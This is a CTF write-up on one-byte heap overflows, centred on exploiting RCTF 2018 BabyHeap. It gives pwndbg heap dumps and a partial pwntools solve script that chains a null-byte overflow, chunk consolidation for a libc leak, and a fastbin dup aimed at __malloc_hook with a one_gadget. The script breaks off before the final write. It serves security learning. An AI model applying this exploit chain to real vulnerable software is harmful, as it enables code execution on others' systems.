One By Off Overwrite
Overwriting the heap by one byte
A One-By-Off vulnerability usually occurs due to bad coding.
Let look at two examples from https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/
1. Bad Looping
int my_gets(char *ptr,int size)
{
int i;
for(i=0;i<=size;i++)
{
ptr[i]=getchar();
}
return i;
}
int main()
{
void *chunk1,*chunk2;
chunk1=malloc(16);
chunk2=malloc(16);
puts("Get Input:");
my_gets(chunk1,16);
return 0;
}
Relatively obvious, the loop executes 17 times instead of the intended 16, allowing a one-byte overflow on the heap due to the incorrect i <= size
condition
2. Bad String Manipulation
char buffer[40];
chunk1 = malloc(24)
puts("Get Input");
gets(buffer);
if(strlen(buffer)==24)
{
strcpy(chunk1,buffer);
}
strlen
does not take the null terminator into consideration when accounting for length while strcpy
simply copies the string with the null terminator as well, leading to a one byte null overflow.
This vulnerability can be used to modify chunk sizes, modify prev-in-use bit as stated here.
Lets look at one CTF challenge that exploits this vulnerability well.
RCTF 2018 BabyHeap
Vulnerability
One-By-Off Null Byte Overflow due to the way the code is written. When the loop ends, the counter would be equivalent to a2 and would write a null byte to one byte beyond the allocated size.
unsigned __int64 __fastcall sub_BC8(__int64 a1, unsigned int a2)
{
char buf; // [rsp+13h] [rbp-Dh] BYREF
unsigned int i; // [rsp+14h] [rbp-Ch]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]
v5 = __readfsqword(0x28u);
for ( i = 0; i < a2; ++i )
{
buf = 0;
if ( read(0, &buf, 1uLL) < 0 )
sub_B90("read() error");
*(_BYTE *)(a1 + i) = buf;
if ( buf == 10 )
break;
}
*(_BYTE *)(i + a1) = 0; //The vulnerable code
return __readfsqword(0x28u) ^ v5;
}
We can thus chain this with Heap Consolidation to get a libc leak considering that we have a view function which prints the contents of the allocated buffer based on index.
int show()
{
int v1; // [rsp+4h] [rbp-Ch]
const char *v2; // [rsp+8h] [rbp-8h]
printf("please input chunk index: ");
v1 = read_input();
if ( (unsigned int)v1 >= 32 )
sub_B90("invalid index");
v2 = *(const char **)(8LL * v1 + unk_202020);
if ( v2 )
return printf("content: %s\n", v2);
else
return puts("no such a chunk");
}
Lets start planning our exploit chain. By first we can look at how a malloc chunk is like.
When we perform the overflow, we can overwrite the first 9 bytes of the next chunk which means we can overwrite the prev_size
as well as the P
byte which stands for prev-in-use.
Allocate 4 Chunks with the following purposes
Chunk 0 - Small Bin Size, will be used for consolidation
Chunk 1 - Fast Bin Size, will be used for consolidation and overlapping with Chunk 2
Chunk 2 - Small Bin Size, the chunk's size and in-use-bit (null-byte) will be overwritten
Chunk 3 - Fast Bin Size, Used to prevent consolidation with top chunk
Lets visualize this in memory, first we allocate the four chunks
0x564945007800 0x0000000000000000 0x0000000000000101 ................ #Chunk 0 - SmallBin1
0x564945007810 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa
0x564945007820 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa
0x564945007830 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa
0x564945007840 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa
0x564945007850 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa
0x564945007860 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa
0x564945007870 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa
0x564945007880 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa
0x564945007890 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa
0x5649450078a0 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa
0x5649450078b0 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa
0x5649450078c0 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa
0x5649450078d0 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa
0x5649450078e0 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa
0x5649450078f0 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa
0x564945007900 0x0000000000000000 0x0000000000000081 ................ #Chunk 1 - FastBin1
0x564945007910 0x6262626262626262 0x6262626262626262 bbbbbbbbbbbbbbbb
0x564945007920 0x6262626262626262 0x6262626262626262 bbbbbbbbbbbbbbbb
0x564945007930 0x6262626262626262 0x6262626262626262 bbbbbbbbbbbbbbbb
0x564945007940 0x6262626262626262 0x6262626262626262 bbbbbbbbbbbbbbbb
0x564945007950 0x6262626262626262 0x6262626262626262 bbbbbbbbbbbbbbbb
0x564945007960 0x6262626262626262 0x6262626262626262 bbbbbbbbbbbbbbbb
0x564945007970 0x6262626262626262 0x6262626262626262 bbbbbbbbbbbbbbbb
0x564945007980 0x0000000000000000 0x0000000000000101 ................ #Chunk 2 - SmallBin2
0x564945007990 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x5649450079a0 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x5649450079b0 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x5649450079c0 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x5649450079d0 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x5649450079e0 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x5649450079f0 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x564945007a00 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x564945007a10 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x564945007a20 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x564945007a30 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x564945007a40 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x564945007a50 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x564945007a60 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x564945007a70 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x564945007a80 0x0000000000000000 0x0000000000000021 ........!....... #Chunk 3 - FastBin2
0x564945007a90 0x6464646464646464 0x6464646464646464 dddddddddddddddd
0x564945007aa0 0x0000000000000000 0x0000000000020561 ........a....... <-- Top chunk
We then proceed to free Chunks 0 and 1. We know that when the small bin merges with the unsorted bin, fd
and bd
points to an offset within libc
0x564945007800 0x0000000000000000 0x0000000000000101 ................ <-- unsortedbin[all][0] #Chunk 0 - Freed and merged with unsorted
0x564945007810 0x00007fb0415c4b78 0x00007fb0415c4b78 xK\A....xK\A....
0x564945007820 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa
0x564945007830 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa
0x564945007840 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa
0x564945007850 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa
0x564945007860 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa
0x564945007870 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa
0x564945007880 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa
0x564945007890 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa
0x5649450078a0 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa
0x5649450078b0 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa
0x5649450078c0 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa
0x5649450078d0 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa
0x5649450078e0 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa
0x5649450078f0 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa
0x564945007900 0x0000000000000100 0x0000000000000080 ................ <-- fastbins[0x80][0] #Chunk 1 freed
0x564945007910 0x0000000000000000 0x6262626262626262 ........bbbbbbbb
0x564945007920 0x6262626262626262 0x6262626262626262 bbbbbbbbbbbbbbbb
0x564945007930 0x6262626262626262 0x6262626262626262 bbbbbbbbbbbbbbbb
0x564945007940 0x6262626262626262 0x6262626262626262 bbbbbbbbbbbbbbbb
0x564945007950 0x6262626262626262 0x6262626262626262 bbbbbbbbbbbbbbbb
0x564945007960 0x6262626262626262 0x6262626262626262 bbbbbbbbbbbbbbbb
0x564945007970 0x6262626262626262 0x6262626262626262 bbbbbbbbbbbbbbbb
0x564945007980 0x0000000000000000 0x0000000000000101 ................
0x564945007990 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x5649450079a0 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x5649450079b0 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x5649450079c0 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x5649450079d0 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x5649450079e0 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x5649450079f0 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x564945007a00 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x564945007a10 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x564945007a20 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x564945007a30 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x564945007a40 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x564945007a50 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x564945007a60 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x564945007a70 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x564945007a80 0x0000000000000000 0x0000000000000021 ........!.......
0x564945007a90 0x6464646464646464 0x6464646464646464 dddddddddddddddd
0x564945007aa0 0x0000000000000000 0x0000000000020561 ........a....... <-- Top chunk
We can then do another fastbin allocation, this time allocating 8 more bytes so as to override the previous_size
field with the size of chunk0 and chunk1 (0x100 + 0x80) and prev_in_use
bit via as per code logic of chunk 2.
0x557d5ef35030 0x0000000000000000 0x0000000000000101 ................ <-- unsortedbin[all][0] - #Chunk 0 - Freed and merged with unsorted
0x557d5ef35040 0x00007f440e3c4b78 0x00007f440e3c4b78 xK<.D...xK<.D...
0x557d5ef35050 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa
0x557d5ef35060 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa
0x557d5ef35070 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa
0x557d5ef35080 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa
0x557d5ef35090 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa
0x557d5ef350a0 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa
0x557d5ef350b0 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa
0x557d5ef350c0 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa
0x557d5ef350d0 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa
0x557d5ef350e0 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa
0x557d5ef350f0 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa
0x557d5ef35100 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa
0x557d5ef35110 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa
0x557d5ef35120 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa
0x557d5ef35130 0x0000000000000100 0x0000000000000080 ................ #Chunk 1 - Allocated and used for null-byte overflow
0x557d5ef35140 0x6565656565656565 0x6565656565656565 eeeeeeeeeeeeeeee
0x557d5ef35150 0x6565656565656565 0x6565656565656565 eeeeeeeeeeeeeeee
0x557d5ef35160 0x6565656565656565 0x6565656565656565 eeeeeeeeeeeeeeee
0x557d5ef35170 0x6565656565656565 0x6565656565656565 eeeeeeeeeeeeeeee
0x557d5ef35180 0x6565656565656565 0x6565656565656565 eeeeeeeeeeeeeeee
0x557d5ef35190 0x6565656565656565 0x6565656565656565 eeeeeeeeeeeeeeee
0x557d5ef351a0 0x6565656565656565 0x6565656565656565 eeeeeeeeeeeeeeee
0x557d5ef351b0 0x0000000000000180 0x0000000000000100 ................ #Chunk 2 The chunk whose fields we want to override
0x557d5ef351c0 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x557d5ef351d0 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x557d5ef351e0 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x557d5ef351f0 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x557d5ef35200 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x557d5ef35210 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x557d5ef35220 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x557d5ef35230 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x557d5ef35240 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x557d5ef35250 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x557d5ef35260 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x557d5ef35270 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x557d5ef35280 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x557d5ef35290 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x557d5ef352a0 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x557d5ef352b0 0x0000000000000000 0x0000000000000021 ........!....... #Chunk 3 - Divider Chunk to prevent consolidation with Top Chunk
0x557d5ef352c0 0x6464646464646464 0x6464646464646464 dddddddddddddddd
0x557d5ef352d0 0x0000000000000000 0x0000000000020d31 ........1....... <-- Top chunk
Now, let's proceed with freeing chunk 2. By setting the previous_size
and prev_in_use
flag, the heap now thinks that the adjacent chunk before (chunk 1) is not in use and we already know that chunk 0 is freed. It will then attempt to consolidate chunk 2 with chunk 0, with the overlapping chunk being the fastbin 1 (chunk 1).
Now, when re allocate a small bin of size 0x100, the unsorted bin chunk of 0x280 will be broken down into two portions - 0x100 and 0x180 and the 0x180 portion will contain the libc addresses (main_arena+88) as per last remainder chunk.
0x561203ae5ba0 0x0000000000000000 0x0000000000000101 ................ #New Chunk
0x561203ae5bb0 0x6767676767676767 0x6767676767676767 gggggggggggggggg
0x561203ae5bc0 0x6767676767676767 0x6767676767676767 gggggggggggggggg
0x561203ae5bd0 0x6767676767676767 0x6767676767676767 gggggggggggggggg
0x561203ae5be0 0x6767676767676767 0x6767676767676767 gggggggggggggggg
0x561203ae5bf0 0x6767676767676767 0x6767676767676767 gggggggggggggggg
0x561203ae5c00 0x6767676767676767 0x6767676767676767 gggggggggggggggg
0x561203ae5c10 0x6767676767676767 0x6767676767676767 gggggggggggggggg
0x561203ae5c20 0x6767676767676767 0x6767676767676767 gggggggggggggggg
0x561203ae5c30 0x6767676767676767 0x6767676767676767 gggggggggggggggg
0x561203ae5c40 0x6767676767676767 0x6767676767676767 gggggggggggggggg
0x561203ae5c50 0x6767676767676767 0x6767676767676767 gggggggggggggggg
0x561203ae5c60 0x6767676767676767 0x6767676767676767 gggggggggggggggg
0x561203ae5c70 0x6767676767676767 0x6767676767676767 gggggggggggggggg
0x561203ae5c80 0x6767676767676767 0x6767676767676767 gggggggggggggggg
0x561203ae5c90 0x6767676767676767 0x6767676767676767 gggggggggggggggg
0x561203ae5ca0 0x0000000000000000 0x0000000000000181 ................ <-- unsortedbin[all][0] #Remainder Chunk that contains my libc address
0x561203ae5cb0 0x00007f1370fc4b78 0x00007f1370fc4b78 xK.p....xK.p....
0x561203ae5cc0 0x6565656565656565 0x6565656565656565 eeeeeeeeeeeeeeee
0x561203ae5cd0 0x6565656565656565 0x6565656565656565 eeeeeeeeeeeeeeee
0x561203ae5ce0 0x6565656565656565 0x6565656565656565 eeeeeeeeeeeeeeee
0x561203ae5cf0 0x6565656565656565 0x6565656565656565 eeeeeeeeeeeeeeee
0x561203ae5d00 0x6565656565656565 0x6565656565656565 eeeeeeeeeeeeeeee
0x561203ae5d10 0x6565656565656565 0x6565656565656565 eeeeeeeeeeeeeeee
0x561203ae5d20 0x0000000000000180 0x0000000000000100 ................
0x561203ae5d30 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x561203ae5d40 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x561203ae5d50 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x561203ae5d60 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x561203ae5d70 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x561203ae5d80 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x561203ae5d90 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x561203ae5da0 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x561203ae5db0 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x561203ae5dc0 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x561203ae5dd0 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x561203ae5de0 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x561203ae5df0 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x561203ae5e00 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x561203ae5e10 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x561203ae5e20 0x0000000000000180 0x0000000000000020 ........ .......
0x561203ae5e30 0x6464646464646464 0x6464646464646464 dddddddddddddddd
0x561203ae5e40 0x0000000000000000 0x00000000000201c1 ................ <-- Top chunk
We can then leak the libc's address with view(0)
the freed fastbin chunk (Chunk 1) which overlaps with the recently allocated small bin (Chunk 0).
Exploit
We can use the fastbin dup
attack to get a arbitrary write over __malloc_hook
. Traditionally, we would need a UAF to get control over fastbin's fd pointer, but since we have a overlapping chunk, lets make use of that instead.
We will first free Chunk 0 so that we get a consolidated unsortedbin of size 0x280.
0x557dc7ca8170 0x0000000000000000 0x0000000000000281 ................ <-- unsortedbin[all][0] (Our First SmallBin1)
0x557dc7ca8180 0x00007f9424fc4b78 0x00007f9424fc4b78 xK.$....xK.$....
0x557dc7ca8190 0x6767676767676767 0x6767676767676767 gggggggggggggggg
0x557dc7ca81a0 0x6767676767676767 0x6767676767676767 gggggggggggggggg
0x557dc7ca81b0 0x6767676767676767 0x6767676767676767 gggggggggggggggg
0x557dc7ca81c0 0x6767676767676767 0x6767676767676767 gggggggggggggggg
0x557dc7ca81d0 0x6767676767676767 0x6767676767676767 gggggggggggggggg
0x557dc7ca81e0 0x6767676767676767 0x6767676767676767 gggggggggggggggg
0x557dc7ca81f0 0x6767676767676767 0x6767676767676767 gggggggggggggggg
0x557dc7ca8200 0x6767676767676767 0x6767676767676767 gggggggggggggggg
0x557dc7ca8210 0x6767676767676767 0x6767676767676767 gggggggggggggggg
0x557dc7ca8220 0x6767676767676767 0x6767676767676767 gggggggggggggggg
0x557dc7ca8230 0x6767676767676767 0x6767676767676767 gggggggggggggggg
0x557dc7ca8240 0x6767676767676767 0x6767676767676767 gggggggggggggggg
0x557dc7ca8250 0x6767676767676767 0x6767676767676767 gggggggggggggggg
0x557dc7ca8260 0x6767676767676767 0x6767676767676767 gggggggggggggggg
0x557dc7ca8270 0x0000000000000000 0x0000000000000181 ................ <-- (fastbin1)
0x557dc7ca8280 0x00007f9424fc4b78 0x00007f9424fc4b78 xK.$....xK.$....
0x557dc7ca8290 0x6565656565656565 0x6565656565656565 eeeeeeeeeeeeeeee
0x557dc7ca82a0 0x6565656565656565 0x6565656565656565 eeeeeeeeeeeeeeee
0x557dc7ca82b0 0x6565656565656565 0x6565656565656565 eeeeeeeeeeeeeeee
0x557dc7ca82c0 0x6565656565656565 0x6565656565656565 eeeeeeeeeeeeeeee
0x557dc7ca82d0 0x6565656565656565 0x6565656565656565 eeeeeeeeeeeeeeee
0x557dc7ca82e0 0x6565656565656565 0x6565656565656565 eeeeeeeeeeeeeeee
0x557dc7ca82f0 0x0000000000000180 0x0000000000000100 ................
0x557dc7ca8300 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x557dc7ca8310 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x557dc7ca8320 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x557dc7ca8330 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x557dc7ca8340 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x557dc7ca8350 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x557dc7ca8360 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x557dc7ca8370 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x557dc7ca8380 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x557dc7ca8390 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x557dc7ca83a0 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x557dc7ca83b0 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x557dc7ca83c0 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x557dc7ca83d0 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x557dc7ca83e0 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x557dc7ca83f0 0x0000000000000280 0x0000000000000020 ........ .......
0x557dc7ca8400 0x6464646464646464 0x6464646464646464 dddddddddddddddd
0x557dc7ca8410 0x0000000000000000 0x0000000000020bf1 ................ <-- Top chunk
Previously, we know that the size of SmallBin1 is 0xF0. Let allocate a small bin of size 208 bytes followed by a fastbin of 128 bytes and see where it is allocated.
0x5616be0cc7d0 0x0000000000000000 0x00000000000000e1 ................ <-- smallbin3 ptr (new)
0x5616be0cc7e0 0x4e4e4e4e4e4e4e4e 0x4e4e4e4e4e4e4e4e NNNNNNNNNNNNNNNN
0x5616be0cc7f0 0x4e4e4e4e4e4e4e4e 0x4e4e4e4e4e4e4e4e NNNNNNNNNNNNNNNN
0x5616be0cc800 0x4e4e4e4e4e4e4e4e 0x4e4e4e4e4e4e4e4e NNNNNNNNNNNNNNNN
0x5616be0cc810 0x4e4e4e4e4e4e4e4e 0x4e4e4e4e4e4e4e4e NNNNNNNNNNNNNNNN
0x5616be0cc820 0x4e4e4e4e4e4e4e4e 0x4e4e4e4e4e4e4e4e NNNNNNNNNNNNNNNN
0x5616be0cc830 0x4e4e4e4e4e4e4e4e 0x4e4e4e4e4e4e4e4e NNNNNNNNNNNNNNNN
0x5616be0cc840 0x4e4e4e4e4e4e4e4e 0x4e4e4e4e4e4e4e4e NNNNNNNNNNNNNNNN
0x5616be0cc850 0x4e4e4e4e4e4e4e4e 0x4e4e4e4e4e4e4e4e NNNNNNNNNNNNNNNN
0x5616be0cc860 0x4e4e4e4e4e4e4e4e 0x4e4e4e4e4e4e4e4e NNNNNNNNNNNNNNNN
0x5616be0cc870 0x4e4e4e4e4e4e4e4e 0x4e4e4e4e4e4e4e4e NNNNNNNNNNNNNNNN
0x5616be0cc880 0x4e4e4e4e4e4e4e4e 0x4e4e4e4e4e4e4e4e NNNNNNNNNNNNNNNN
0x5616be0cc890 0x4e4e4e4e4e4e4e4e 0x4e4e4e4e4e4e4e4e NNNNNNNNNNNNNNNN
0x5616be0cc8a0 0x4e4e4e4e4e4e4e4e 0x4e4e4e4e4e4e4e4e NNNNNNNNNNNNNNNN
0x5616be0cc8b0 0x0000000000000000 0x0000000000000091 ................ <-- fastbin3 ptr (new) - index 2 on the array
0x5616be0cc8c0 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x5616be0cc8d0 0x0000000000000000 0x0000000000000071 ........q....... <-- fastbin1 ptr (original) - index 0 on the array
0x5616be0cc8e0 0x00000000deadbeef 0x00000000beefdead ................
0x5616be0cc8f0 0x0000000000000000 0x0000000000000000 ................
0x5616be0cc900 0x0000000000000000 0x0000000000000000 ................
0x5616be0cc910 0x0000000000000000 0x0000000000000000 ................
0x5616be0cc920 0x0000000000000000 0x0000000000000000 ................
0x5616be0cc930 0x0000000000000000 0x0000000000000000 ................
0x5616be0cc940 0x0000000000000000 0x0000000000000111 ................ <-- unsortedbin[all][0]
As we can see, fastbin3 and 1 overlap in the heap. By crafting the allocation of fastbin3 and creating a fake chunk, we will be able to control the next fastbin allocation. Lets free fastbin1 followed by fastbin3 and then perform another fastbin allocation of the same size.
0x55e6b4a57ae0 0x0000000000000000 0x0000000000000091 ................
0x55e6b4a57af0 0x4241424142414241 0x4241424142414241 ABABABABABABABAB
0x55e6b4a57b00 0x0000000000000000 0x0000000000000071 ........q....... <-- fastbins[0x70][0]
0x55e6b4a57b10 0x00000000deadbeef 0x0000000000000000 ................
0x55e6b4a57b20 0x0000000000000000 0x0000000000000000 ................
0x55e6b4a57b30 0x0000000000000000 0x0000000000000000 ................
0x55e6b4a57b40 0x0000000000000000 0x0000000000000000 ................
0x55e6b4a57b50 0x0000000000000000 0x0000000000000000 ................
0x55e6b4a57b60 0x0000000000000000 0x0000000000000000 ................
0x55e6b4a57b70 0x0000000000000000 0x0000000000000111 ................ <-- unsortedbin[all][0]
0x55e6b4a57b80 0x00007f187c7c4b78 0x00007f187c7c4b78 xK||....xK||....
0x55e6b4a57b90 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x55e6b4a57ba0 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x55e6b4a57bb0 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x55e6b4a57bc0 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x55e6b4a57bd0 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x55e6b4a57be0 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x55e6b4a57bf0 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x55e6b4a57c00 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x55e6b4a57c10 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x55e6b4a57c20 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x55e6b4a57c30 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x55e6b4a57c40 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x55e6b4a57c50 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x55e6b4a57c60 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x55e6b4a57c70 0x6363636363636363 0x6363636363636363 cccccccccccccccc
0x55e6b4a57c80 0x0000000000000110 0x0000000000000020 ........ .......
0x55e6b4a57c90 0x6464646464646464 0x6464646464646464 dddddddddddddddd
0x55e6b4a57ca0 0x0000000000000000 0x0000000000020361 ........a....... <-- Top chunk
pwndbg> fastbins
fastbins
0x70: 0x55e6b4a57b00 ââ 0xdeadbeef
We see that even though we made a valid fastbin allocation, the fastbin ptr is pointing to the original fastbin1 and thinks it is "freed" due to its overlap with fastbin3. We now have control over fd
and instead can point it to __malloc_hook
instead of 0xdeadbeef
so that our next fastbin allocation can be used to overwrite the contents of __malloc_hook
We will have to find a fake chunk for a valid chunk size which can be easily done using find_fake_chunks
in pwndbg.
pwndbg> find_fake_fast &__malloc_hook
pwndbg will try to resolve the heap symbols via heuristic now since we cannot resolve the heap via the debug symbols.
This might not work in all cases. Use `help set resolve-heap-via-heuristic` for more details.
global_max_fast symbol not found, using the default value: 0x80
Use `set global-max-fast <address>` to set the address of global_max_fast manually if needed.
Searching for fastbin size fields up to 0x80, starting at 0x7ff0fa3c4a98 resulting in an overlap of 0x7ff0fa3c4b10
FAKE CHUNKS
Fake chunk | PREV_INUSE | IS_MMAPED | NON_MAIN_ARENA
Addr: 0x7ff0fa3c4aed
prev_size: 0xf0fa3c3260000000
size: 0x7f
This results in this solve script.
#!/usr/bin/env python3
from pwn import *
exe = ELF("./babyheap_patched")
libc = ELF("./libc.so (1).6")
ld = ELF("./ld-2.23.so")
context.binary = exe
p = process([exe.path])
gdb.attach(p)
def insert(size, contents):
p.recvuntil(b"choice: ")
p.sendline(b'1')
p.sendlineafter(b'please input chunk size: ', size)
p.recvuntil(b'input chunk content: ')
p.send(contents)
def view(index):
p.recvuntil(b"choice: ")
p.sendline(b'2')
p.sendlineafter(b'please input chunk index: ', index)
p.recvuntil(b'content: ')
leak = p.recvline().strip(b'\n')
return leak
def delete(index):
p.sendlineafter(b"choice: ", b'3')
p.sendlineafter(b"please input chunk index: ", index)
insert(b'240', b"a" * 240) #smallbin1 - 0xF0 - size
insert(b'112', b"b" * 112) #fastbin1 - 0x70 - size
insert(b'240', b"c" * 240) #smallbin2 - 0xF0 - size
insert(b'16', b'd' * 16) # Prevent consolidation with top chunk - fastbin2
delete(b'0')
delete(b'1')
insert(b'120', b'e' * 112 + p64(384)) #Overwriting previous-in-use-bit for smallbin2 to become 0 (not-inuse)/Null Byte Overflow to make the size of smallbin 2 100 instead of 101
delete(b'2') #Small bin 2 consolidates with small bin 1 because of its prev size
insert(b'240', b'g' * 240) #fastbin1 overlaps with a free chunk which point to main_arena
leak = view(b'0').ljust(8, b'\x00') #libc leak
libc.address = u64(leak) - 0x3c4b78
log.info(f"Libc base @ : {hex(libc.address)}")
malloc_hook = libc.symbols['__malloc_hook'] - 0x23 #find_fake_chunk
one_gadget = libc.address + 0x4526a
log.info(f"malloc_hook @ : {hex(libc.symbols['__malloc_hook'])}")
log.info(f"Fake Chunk @ : {hex(malloc_hook)}")
log.info(f'One Gadget @ : {hex(one_gadget)}')
delete(b'1')
insert(b'208', b'N'*208) #SmallBin4 - size 224
insert(b'128', b"A" *16 + p64(0) + p64(113) + p64(0xdeadbeef) + p64(0xbeefdead) + b'\n') #FastBin3 - 16 bytes behind the 240 smallbin1, so we craft it accordingly
# insert(b'128', b'A'*16 + p64(0) + p64(113) + p64(0) + p64(0) + b'\n') #Crafting my fake chunk size with a size of 0x71
delete(b'0')
delete(b'2')
# Overwriting the fd of fastbin with fake_chunk addr
